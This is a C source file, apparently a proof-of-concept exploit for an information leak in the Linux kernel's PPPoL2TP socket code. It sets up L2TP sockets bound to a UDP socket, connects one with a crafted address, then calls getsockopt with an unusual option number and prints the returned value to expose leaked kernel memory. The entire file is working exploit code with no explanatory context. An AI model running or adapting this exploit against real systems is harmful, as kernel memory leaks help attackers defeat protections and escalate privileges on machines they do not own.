l2tp_infoleak.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <arpa/inet.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/if.h>
#include <linux/if_pppox.h>
#include <linux/socket.h>
#include <linux/if_pppol2tp.h>

#define CHCKERR(cond,msg)   if (cond) {\
    perror(msg);\
    exit(1);\
}


int l2tp_create_socket(int type,int protocol)
{
    int fd = socket(AF_PPPOX,type,protocol);
    CHCKERR(fd < 0,"socket");
    return fd;
}

int udp_create_socket(void)
{
    int fd;
    fd = socket(AF_INET,SOCK_DGRAM,0);
    CHCKERR(fd < 0,"socket_udp");
    return fd;
}

int main()
{
    int l2tp_fd1,l2tp_fd2;
    int udp_fd;
    int leaked,tmp_len;
    struct sockaddr_pppol2tp sax;
    int err;

    leaked = 0x1337;
    tmp_len = 5;

    l2tp_fd1 = l2tp_create_socket(SOCK_DGRAM,PX_PROTO_OL2TP);
    l2tp_fd2 = l2tp_create_socket(SOCK_DGRAM,PX_PROTO_OL2TP);

    udp_fd = udp_create_socket();
    memset(&sax, 0, sizeof(sax));
    sax.sa_family = AF_PPPOX;
    sax.sa_protocol = PX_PROTO_OL2TP;
    sax.pppol2tp.fd = udp_fd;
    sax.pppol2tp.addr.sin_addr.s_addr = htonl(INADDR_ANY);
    sax.pppol2tp.addr.sin_port = htons(4141);
    sax.pppol2tp.addr.sin_family = AF_INET;
    sax.pppol2tp.s_tunnel = 8;
    sax.pppol2tp.s_session = 0;
    sax.pppol2tp.d_tunnel = 0;
    sax.pppol2tp.d_session = 0;

    err = connect(l2tp_fd1,(struct sockaddr *)&sax,sizeof(sax));
    CHCKERR(err < 0,"connect");

    err = getsockopt(l2tp_fd1, 273, 12000,&leaked, &tmp_len);
    //CHCKERR(err != 0,"getsockopt");

    printf("tmp : %x\n",leaked);
    return 0;
}